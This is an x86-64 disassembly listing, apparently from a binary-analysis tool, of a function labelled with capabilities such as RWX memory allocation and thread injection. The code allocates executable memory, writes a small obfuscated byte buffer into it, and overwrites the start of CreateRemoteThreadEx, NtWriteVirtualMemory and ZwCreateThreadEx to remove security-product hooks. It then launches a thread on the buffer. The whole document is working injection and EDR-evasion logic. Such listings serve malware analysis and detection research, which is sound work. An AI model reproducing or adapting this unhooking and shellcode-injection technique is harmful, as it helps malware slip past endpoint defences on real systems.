Function at 0x401550
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call sym.__main
mov byte [rbp - 0x49], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x40183e
lea rcx, str.___Handle_retrieved_successfully_
call sym.puts
mov rax, qword [rbp - 0x18]
mov rdx, rax
lea rcx, str.___Handle_value_is__p_n
call sym.printf
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
je 0x401830
mov rax, qword [rbp - 0x20]
mov rdx, rax
lea rcx, str.___Allocated_based_address_is_0x_x_n
call sym.printf
mov dword [rbp - 8], 0
mov dword [rbp - 4], 0
jmp 0x401672
mov eax, dword [rbp - 4]
cdqe
movzx eax, byte [rbp + rax - 0x49]
not eax
mov byte [rbp - 0x4a], al
mov eax, dword [rbp - 8]
cdqe
mov rdx, qword [rbp - 0x20]
add rdx, rax
lea rcx, [rbp - 0x4a]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x40166e
lea rcx, str.___Byte_wrote_sucessfully_
call sym.puts
add dword [rbp - 8], 1
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cmp eax, 1
jbe 0x401619
lea rcx, str.kernelbase
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
lea rdx, str.CreateRemoteThreadEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov rdx, rax
lea rcx, str.___CreateRemoteThreadEx_address_is_:__p_n
call sym.printf
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x20], 0
mov r9d, 5
lea r8, [0x004040d2]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x4016fe
lea rcx, str.___CreateRemoteThreadEx_unhooking_done_
call sym.puts
lea rcx, str.ntdll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov rdx, rax
lea rcx, str.___NtWriteVirtualMemory_address_is_:__p_n
call sym.printf
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x20], 0
mov r9d, 5
lea r8, [0x0040414a]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x401782
lea rcx, str.___NtWriteVirtualMemory_unkooking_done_
call sym.puts
mov rax, qword [rbp - 0x38]
lea rdx, str.ZwCreateThreadEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov rdx, rax
lea rcx, str.___ZwCreateThreadEx_address_is_:__p_n
call sym.printf
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x20], 0
mov r9d, 5
lea r8, [0x004041b6]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x4017f2
lea rcx, str.___ZwCreateThreadEx_unhooking_done_
call sym.puts
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x30], 0x5151
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x64
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
jmp 0x40184a
lea rcx, str.____Unable_to_allocate_memory_...
call sym.puts
jmp 0x40184a
lea rcx, str.____Unable_to_retrieve_process_handle
call sym.puts
mov eax, 0
add rsp, 0x90
pop rbp
ret